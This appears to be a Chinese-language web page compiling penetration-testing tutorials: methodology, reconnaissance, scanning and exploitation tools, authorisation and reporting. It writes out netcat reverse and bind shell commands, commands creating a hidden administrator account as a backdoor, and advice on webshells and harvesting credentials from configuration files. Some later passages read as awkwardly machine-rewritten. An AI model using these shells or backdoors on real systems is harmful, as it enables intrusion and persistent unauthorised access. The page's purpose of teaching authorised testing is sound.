web渗透是什么?
Web渗透测试分为白盒测试和黑盒测试,白盒测试是指目标网站的源码等信息的情况下对其渗透,相当于代码分析审计。而黑盒测试则是在对该网站系统信息不知情的情况下渗透,以下所说的Web渗透就是黑盒渗透。
Web渗透分为以下几个步骤,信息收集,漏洞扫描,漏洞利用,提权,内网渗透,留后门,清理痕迹。一般的渗透思路就是看是否有注入漏洞,然后注入得到后台管理员账号密码,登录后台,上传小马,再通过小马上传大马,提权,内网转发,进行内网渗透,扫描内网c段存活主机及开放端口,看其主机有无可利用漏洞(nessus)端口(nmap)对应服务及可能存在的漏洞,对其利用(msf)拿下内网,留下后门,清理痕迹。或者看是否有上传文件的地方,上传一句话木马,再用菜刀链接,拿到数据库并可执行cmd命令,可继续上大马思路很多,很多时候成不成功可能就是一个思路的问题,技术可以不高,思路一定得骚。
信息收集
信息收集是整个流程的重中之重,前期信息收集的越多,Web渗透的成功率就越高。
DNS域名信息:通过url获取其真实ip,子域名(Layer子域名爆破机),旁站(K8旁站,御剑15),c段,网站负责人及其信息(whois查询)
整站信息:服务器操作系统、服务器类型及版本(Apache/Nginx/Tomcat/IIS)、数据库类型(Mysql/Oracle/Accees/Mqlserver)、脚本类型(php/jsp/asp/aspx)、CMS类型;
网站常见搭配为:
ASP和ASPX:ACCESS、SQLServer
PHP:MySQL、PostgreSQL
JSP:Oracle、MySQL
敏感目录信息(御剑,dirbust)
开放端口信息(nmp)
漏洞扫描
利用AWVS,AppScan,OWASP-ZAP,等可对网站进行网站漏洞的初步扫描,看其是否有可利用漏洞。
常见漏洞:
SQL注入
XSS跨站脚本
CSRF跨站请求伪造
XXE(XML外部实体注入)漏洞
SSRF(服务端请求伪造)漏洞
文件包含漏洞
文件上传漏洞
文件解析漏洞
远程代码执行漏洞
CORS跨域资源共享漏洞
越权访问漏洞
目录遍历漏洞和任意文件读取/下载漏洞
漏洞利用
用工具也好什么也好对相应漏洞进行利用
如:
Sql注入(sqlmap)
XSS(BEEF)
后台密码爆破(burp)
端口爆破(hydra)
提权
获得shell之后我们权限可能很低,因此要对自己提权,可以根据服务器版本对应的exp进行提权,对于Windows系统也可看其补丁对应漏洞的exp进行提权
内网渗透
首先进行端口转发可用nc
nc使用方法:
反向连接
在公网主机上进行监听:
nc-lvp 4444
在内网主机上执行:
nc-e cmdexe 公网主机ip4444
成功之后即可得到一个内网主机shell
正向连接
远程主机上执行:
nc-l -p 4444 -t -e cmdexe
本地主机上执行:
nc-vv 远程主机ip4444
成功后,本地主机即可远程主机的一个shell
然后就是对内网进行渗透了,可以用主机漏洞扫描工具(nessus,x-scan等)进行扫描看是否有可用漏洞,可用msf进行利用,或者用nmap扫描存活主机及开放端口,可用hydra进行端口爆破或者用msf对端口对应漏洞得到shell拿下内网留后门
留后门
对于网站上传一句话木马,留下后门
对于windows用户可用hideadmin创建一个超级隐藏账户
手工:
netuser test$ 123456 /add
netlocalgroup administrators test$ /add
这样的话在cmd命令中看不到,但在控制面板可以看到,还需要改注册表才能实现控制版面也看不到,太过麻烦,不多赘述,所以还是用工具省心省力。
然而绝对的安全是不存在的,潜在的危险和漏洞总是相对存在的。
“网络渗透攻击”是对大型的网络主机服务器群组采用的一种迂回渐进式的攻击方法,通过长期而有计划地逐步渗透攻击进入网络,最终完全控制整个网络。
“网络渗透攻击”之所以能够成功,是因为网络上总会有一些或大或小的安全缺陷或漏洞。攻击者利用这些小缺口一步一步地将这些缺口扩大、扩大、再扩大,最终导致整个网络安全防线的失守,并掌控整个网络的权限。因此,作为网络管理员,完全有必要了解甚至掌握网络渗透入侵的技术,这样才能针对性地进行防御,从而保障网络的真正安全。
渗透测试会用到的工具有很多,为大家列举几个:
1、Invicti Pro
invicti是一种自动化但完全可配置的web应用程序安全扫描程序,使您能够扫描网站、web应用程序和web服务,并识别安全漏洞。
2、BurpSuite
与web浏览器配合使用,可发现给定APP的功能和安全问题,是发起定制攻击的基础。目前,免费版本功能很有限,但付费版本提供全面的网络爬取和扫描功能、多攻击点、基于范围的配置。关于此工具最常见的评价是,它可用于自动化重复功能,提供app与服务器互动的良好视图。
3、Nmap
Nmap以隐秘的手法,避开闯入检测系统的监视,并尽可能不影响目标系统的日常操作。同时它还提供防火墙规避和欺骗功能。
4、Metasploit Pro
Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,web应用程序扫描,社会工程。
5、Cobalt Strike
Cobalt Strike是一款GUI的框架式渗透工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win
dll木马生成,Java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,Java执行,浏览器自动攻击等等。
6、AWVS
AWVS,全称Acunetix Web Vulnerability
Scanner,是一款知名的网络漏洞扫描工具,它通过网络爬虫测试你的网站安全,检测流行安全漏洞。
7、Fortify
Fortify是一个静态的、白盒的软件源代码安全测试工具。它通过内置的五大主要分析引擎:数据流、语义、结构、控制流、配置流等对应用软件的源代码进行静态的分析,通过与软件安全漏洞规则集进行匹配、查找,从而将源代码中存在的安全漏洞扫描出来,并可导出报告。
8、OWASP ZAP
是一款web
application集成渗透测试和漏洞工具,是免费开源跨平台的。OWASP_ZPA支持截断代理,主动、被动扫描,Fuzzy,暴力破解并且提供API。
9、DarkAngel
DarkAngel是一款全自动白帽漏洞扫描器,从hackerone、bugcrowd资产监听到漏洞报告生成、企业微信通知。
10、fscan
一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。
服务器渗透测试的话分为几个层面进行测试的,如下:
一、内网扫描:扫描服务器代码漏洞等。
二、外网扫描:扫描目前市场已知漏洞等。
三、社会工程学扫描:排除人为的安全隐患因素。
渗透测试:在取得客户授权的情况下,通过模拟黑客攻击来对客户的整个信息系统进行全面的漏洞查找,分析、利用。最后给出完整的渗透报告和问题解决方案。
高级渗透测试服务(黑盒测试):指在客户授权许可的情况下,资深安全专家将通过模拟黑客攻击的方式,在没有网站代码和服务器权限的情况下,对企业的在线平台进行全方位渗透入侵测试,来评估企业业务平台和服务器系统的安全性。
渗透测试在未得到被测试方授权之前依据某些地区法律规定是违法行为。这里我们提供的所有渗透测试方法均为(假设为)合法的评估服务,也就是通常所说的道德黑客行为(Ethicalhacking),因此我们这里的所有读者应当都是EthicalHackers,如果您还不是,那么我希望您到过这里后会成为他们中的一员;)
这里,我还想对大家说一些话:渗透测试重在实践,您需要一颗永不言败的心和一个有着活跃思维的大脑。不是说您将这一份文档COPY到您网站上或者保存到本地电脑您就会了,即使您将它打印出来沾点辣椒酱吃了也不行,您一定要根据文档一步一步练习才行。而且测试重在用脑,千万别拿上一两个本文中提到的工具一阵乱搞,我敢保证:互联网的安全不为因为这样而更安全。祝您好运。。。
一、简介
什么叫渗透测试?
渗透测试最简单直接的解释就是:完全站在攻击者角度对目标系统进行的安全性测试过程。
进行渗透测试的目的?
了解当前系统的安全性、了解攻击者可能利用的途径。它能够让管理人员非常直观的了解当前系统所面临的问题。为什么说叫直观呢?就像Mitnick书里面提到的那样,安全管理(在这里我们改一下,改成安全评估工作)需要做到面面俱到才算成功,而一位黑客(渗透测试)只要能通过一点进入系统进行破坏,他就算是很成功的了。
渗透测试是否等同于风险评估?
不是,你可以暂时理解成渗透测试属于风险评估的一部分。事实上,风险评估远比渗透测试复杂的多,它除渗透测试外还要加上资产识别,风险分析,除此之外,也还包括了人工审查以及后期的优化部分(可选)。
已经进行了安全审查,还需要渗透测试吗?
如果我对您说:嘿,中国的现有太空理论技术通过计算机演算已经能够证明中国完全有能力实现宇航员太空漫步了,没必要再发射神8了。您能接受吗?
渗透测试是否就是黑盒测试?
否,很多技术人员对这个问题都存在这个错误的理解。渗透测试不只是要模拟外部黑客的入侵,同时,防止内部人员的有意识(无意识)攻击也是很有必要的。这时,安全测试人员可以被告之包括代码片段来内的有关于系统的一些信息。这时,它就满足灰盒甚至白盒测试。
渗透测试涉及哪些内容
技术层面主要包括网络设备,主机,数据库,应用系统。另外可以考虑加入社会工程学(入侵的艺术/THEARTOFINTRUSION)。
渗透测试有哪些不足之处?
主要是投入高,风险高。而且必须是专业的EthicalHackers才能相信输出的最终结果。
你说的那么好,为什么渗透测试工作在中国开展的不是很火热呢?
我只能说:会的,一定会的。渗透测试的关键在于没法证明你的测试结果就是完善的。用户不知道花了钱证明了系统有问题以后,自己的安全等级到了一个什么程序。但是很显然,用户是相信一个专业且经验丰富的安全团队的,这个在中国问题比较严重。在我接触了一些大型的安全公司进行的一些渗透测试过程来看,测试人员的水平是对不住开的那些价格的,而且从测试过程到结果报表上来看也是不负责的。我估计在三年以后,这种情况会有所改观,到时一方面安全人员的技术力量有很大程度的改观,另一方面各企业对渗透测试会有一个比较深刻的理解,也会将其做为一种IT审计的方式加入到开发流程中去。渗透测试的专业化、商业化会越来越成熟。
二、制定实施方案
实施方案应当由测试方与客户之间进行沟通协商。一开始测试方提供一份简单的问卷调查了解客户对测试的基本接收情况。内容包括但不限于如下:
目标系统介绍、重点保护对象及特性。
是否允许数据破坏?
是否允许阻断业务正常运行?
测试之前是否应当知会相关部门接口人?
接入方式?外网和内网?
测试是发现问题就算成功,还是尽可能的发现多的问题?
渗透过程是否需要考虑社会工程?
。。。
在得到客户反馈后,由测试方书写实施方案初稿并提交给客户,由客户进行审核。在审核完成后,客户应当对测试方进行书面委托授权。这里,两部分文档分别应当包含如下内容:
实施方案部分:
书面委托授权部分:
三、具体操作过程
1、信息收集过程
网络信息收集:
在这一部还不会直接对被测目标进行扫描,应当先从网络上搜索一些相关信息,包括GoogleHacking,Whois查询,DNS等信息(如果考虑进行社会工程学的话,这里还可以相应从邮件列表/新闻组中获取目标系统中一些边缘信息如内部员工帐号组成,身份识别方式,邮件联系地址等)。
1使用whois查询目标域名的DNS服务器
2nslookup
>settype=all
><domain>
>server<nsserver>
>setq=all
>ls-d<domain>
涉及的工具包括:Google,Demon,webhostinginfo,Apollo,Athena,GHDBXML,netcraft,seologs除此之外,我想特别提醒一下使用Googlebot/21绕过一些文件的获取限制。
Googlehacking中常用的一些语法描述
1搜索指定站点关键字site。你可以搜索具体的站点如site:来搜索中国政府部门的网站。
2搜索在URL网址中的关键字inurl。比如你想搜索带参数的站点,你可以尝试用inurl:aspid=
3搜索在网页标题中的关键字intitle。如果你想搜索一些登陆后台,你可以尝试使用intitle:"adminlogin"
目标系统信息收集:
通过上面一步,我们应当可以简单的描绘出目标系统的网络结构,如公司网络所在区域,子公司IP地址分布,***接入地址等。这里特别要注意一些比较偏门的HOST名称地址,如一些backup开头或者temp开关的域名很可能就是一台备份服务器,其安全性很可能做的不够。
从获取的地址列表中进行系统判断,了解其组织架构及操作系统使用情况。最常用的方法的是目标所有IP网段扫描。
端口/服务信息收集:
这一部分已经可以开始直接的扫描操作,涉及的工具包括:nmap,thc-amap
1我最常使用的参数
nmap-sS-p1-10000-n-P0-oXfilenamexml--open-T5<ipaddress>
应用信息收集:httprint,SIPSCAN,smap
这里有必要将SNMP拿出来单独说一下,因为目前许多运营商、大型企业内部网络的维护台通过SNMP进行数据传输,大部分情况是使用了默认口令的,撑死改了private口令。这样,攻击者可以通过它收集到很多有效信息。snmp-gui,HiliSoftMIBBrowser,mibsearch,net-snmp都是一些很好的资源。
2、漏洞扫描
这一步主要针对具体系统目标进行。如通过第一步的信息收集,已经得到了目标系统的IP地址分布及对应的域名,并且我们已经通过一些分析过滤出少许的几个攻击目标,这时,我们就可以针对它们进行有针对性的漏洞扫描。这里有几个方面可以进行:
针对系统层面的工具有:ISS,Nessus,SSS,Retina,天镜,极光
针对WEB应用层面的工具有:AppScan,AcunetixWebVulnerabilityScanner,WebInspect,Nstalker
针对数据库的工具有:ShadowDatabaseScanner,NGSSQuirreL
针对VOIP方面的工具有:PROTOSc07sip(在测试中直接用这个工具轰等于找死)以及c07h225,Sivus,sipsak等。
事实上,每个渗透测试团队或多或少都会有自己的测试工具包,在漏洞扫描这一块针对具体应用的工具也比较个性化。
3、漏洞利用
有时候,通过服务/应用扫描后,我们可以跳过漏洞扫描部分,直接到漏洞利用。因为很多情况下我们根据目标服务/应用的版本就可以到一些安全网站上获取针对该目标系统的漏洞利用代码,如milw0rm,securityfocus,packetstormsecurity等网站,上面都对应有搜索模块。实在没有,我们也可以尝试在GOOGLE上搜索“应用名称exploit”、“应用名称vulnerability”等关键字。
当然,大部分情况下你都可以不这么麻烦,网络中有一些工具可供我们使用,最著名的当属metasploit了,它是一个开源免费的漏洞利用攻击平台。其他的多说无益,您就看它从榜上无名到冲进前五(top100)这一点来说,也能大概了解到它的威力了。除此之外,如果您(您们公司)有足够的moeny用于购买商用软件的话,COREIMPACT是相当值得考虑的,虽然说价格很高,但是它却是被业界公认在渗透测试方面的泰山北斗,基本上测试全自动。如果您觉得还是接受不了,那么您可以去购买CANVAS,据说有不少0DAY,不过它跟metasploit一样,是需要手动进行测试的。最后还有一个需要提及一下的Exploitation_Framework,它相当于一个漏洞利用代码管理工具,方便进行不同语言,不同平台的利用代码收集,把它也放在这里是因为它本身也维护了一个exploit库,大家参考着也能使用。
上面提到的是针对系统进行的,在针对WEB方面,注入工具有NBSI,OWASPSQLiX,SQLPowerInjector,sqlDumper,sqlninja,sqlmap,Sqlbftools,priamos,ISR-sqlget等等。
在针对数据库方面的工具有:
数据库工具列表Oracle(1521端口):目前主要存在以下方面的安全问题:
1、TNS监听程序攻击(sid信息泄露,停止服务等)
2、默认账号(defaultpasswordlist)
3、SQLINJECTION(这个与传统的意思还不太一样)
4、缓冲区溢出,现在比较少了。thc-orakel,tnscmd,oscanner,Getsids,TNSLSNR,lsnrcheck,OAT,Checkpwd,orabfMSSqlServer(1433、1434端口)Mysql(3306端口)DB2(523、50000、50001、50002、50003端口)db2utilsInformix(1526、1528端口)
在针对Web服务器方面的工具有:
WEB服务器工具列表IISIISPUTSCANNERTomcat想起/admin和/manager管理目录了吗?另外,目录列表也是Tomcat服务器中最常见的问题。比如5版本中的
在渗透测试过程中,一旦有机会接触一些OFFICE文档,且被加了密的话,那么,rixler是您马上要去的地方,他们提供的OFFICE密码套件能在瞬间打开OFFICE文档(2007中我没有试过,大家有机会测试的话请给我发一份测试结果说明,谢谢)。看来微软有理由来个补丁什么的了。对于企业来说,您可以考虑使用铁卷或者RMS了。
6、日志清除
Itisnotnecessaryactually
7、进一步渗透
攻入了DMZ区一般情况下我们也不会获取多少用价值的信息。为了进一步巩固战果,我们需要进行进一步的内网渗透。到这一步就真的算是无所不用其及。最常用且最有效的方式就是Sniff抓包(可以加上ARP欺骗)。当然,最简单的你可以翻翻已入侵机器上的一些文件,很可能就包含了你需要的一些连接帐号。比如说你入侵了一台Web服务器,那么绝大部分情况下你可以在页面的代码或者某个配置文件中找到连接数据库的帐号。你也可以打开一些日志文件看一看。
除此之外,你可以直接回到第二步漏洞扫描来进行。
四、生成报告
报告中应当包含:
薄弱点列表清单(按照严重等级排序)
薄弱点详细描述(利用方法)
解决方法建议
参与人员/测试时间/内网/外网
五、测试过程中的风险及规避
在测试过程中无可避免的可能会发生很多可预见和不可预见的风险,测试方必须提供规避措施以免对系统造成重大的影响。以下一些可供参考:
1不执行任何可能引起业务中断的攻击(包括资源耗竭型DoS,畸形报文攻击,数据破坏)。
2测试验证时间放在业务量最小的时间进行。
3测试执行前确保相关数据进行备份。
4所有测试在执行前和维护人员进行沟通确认。
5在测试过程中出现异常情况时立即停止测试并及时恢复系统。
6对原始业务系统进行一个完全的镜像环境,在镜像环境上进行渗透测试。
渗透测试这些是经常谈到的问题了,我觉得当有了渗透接口测试之后你就会发现渗透测试这一方面也就是:1基本漏洞测试;2携带低调构思的心血来潮;3锲而不舍的信念。我们SINE安全在对客户网站,APP进行渗透测试的过程中会发现客户存在的很漏洞,具体渗透测试的过程这里分享一下:
首先要对客户的网站信息内容进行搜集:
熟记做信息内容搜集时必须从客户的渗透测试目的动手,二级域名搜集:必须留意的是不是必须做此流程,假如顾客的目的仅仅做1个平台网站的安全性测试,这样的话做二级域名搜集的价值并不是非常大,假如是规定对某一平台网站开展以某些目的为指引的渗透就必须做二级域名搜集了。二级域名搜集的方式偏重DNS系统漏洞,md5破解、DNS解析查寻等方法。针对方面的渗透而言根据旁站查寻同样是1种构思。
IP信息内容搜集:C段与B段比较适用于目的过去IDC服务商数据中心或搭建云主机的状况,假如是云环境大家能够特别关注一下下公钥或Token泄漏的状况,我们SINE安全研究文章有许多相关的内容介绍。端口与服务项目信息内容:关键是根据有关软件开展扫描,nmap、masscan。比较敏感文件目录与相对路径:留意取决于平常搜集的词典与软件分辨回到的方法;网站环境与后端开发模块能够依靠许多谷歌插件来分辨,还可以根据扫描器分辨
cms源码:这一相对比较关键,通常相对比较大的顾客要不是自开发系统软件要不是完善的cms源码系统软件,大家搜集这一信息内容便于大家查寻已经知道系统漏洞进而深化攻击更多信息:也有也就是账户密码、Token、HK/LK信息内容、过往系统漏洞、过往系统漏洞中的比较敏感信息内容等信息内容,搜集方式关键是各大搜索引擎与三方支付平台。在做信息内容搜集相对比较关键的是平常里词典、软件库的搜集,及其多随机应变做信息内容搜集的方法,不必限制自个的构思。
第2步网站漏洞检测
漏洞检测关键取决于刚开始信息内容搜集的结果,通常会有4种结果:可立即运用的,例如比较敏感文件数据信息泄露;可间接性运用,后端开发模块或cms源码版本号处在已经知道系统漏洞的影响区域之内;将来能用,方面信息内容现阶段不可以列出许多作用,可是在后面的渗透全过程时会提供作用,例如某一局域网的账户密码;无用信息。通常漏洞检测也就是常见的网站漏洞,服务器环境漏洞,如sql语句注入、XSS跨站;许多CVE级别漏洞,如:CVE-2018-10372;网站逻辑漏洞,垂直越权漏洞等等,我们SINE安全工程师在平常的渗透当中不断积累经验,漏洞检测的情况下就不容易慌,不会出太多的问题。
第3步后渗透:假如有必须做后渗透的情况下,通常涉及:局域网渗透,管理权限保持,管理权限提高,获得用户hash,电脑浏览器账户密码等。有关这方面小B同样是菜鸡写不出来很有营养价值的文章,同样是正在学习的文章,大家能够多看看网上的资料。
渗透测试工作小结:
不必总直视着一个方面不放,构思必须开启;
并不是每一回都能取得成功取得管理权限或是寻找高危级别的系统漏洞的:给1台只对外开放了80的独立服务器给你入侵,立即攻击就算了!使用APT也能完成呢。首先要对内部员工弄个钓鱼,获得1个局域网管理权限,再横纵中移动,寻找可浏览目的的互联网段,再想法子从里面获得账户这份渗透测试报告书是甲方考核本次渗透测试实际效果的证明,因此报告书尤为重要。要导出这份好的报告书必须大家保证下列几条:
1和客户沟通报告书的规定,不一样的顾客针对报告书的具体程度也是不相同的,有一些顾客乃至会提供报告格式只需填写相匹配的信息。网站在上线之前,一定要进行渗透测试服务,对网站代码的漏洞进行检测,避免后期网站业务发展较大,因产生漏洞而导致重大的经济损失,国内做渗透测试的公司也就是SINESAFE,绿盟,鹰盾安全,启明星辰做的比较专业。
2对系统漏洞了解充分深入细致,必须叙述清晰系统漏洞的简述、系统漏洞的险、系统漏洞的风险级别、系统漏洞的察觉全过程、系统漏洞的修补提议。
0条评论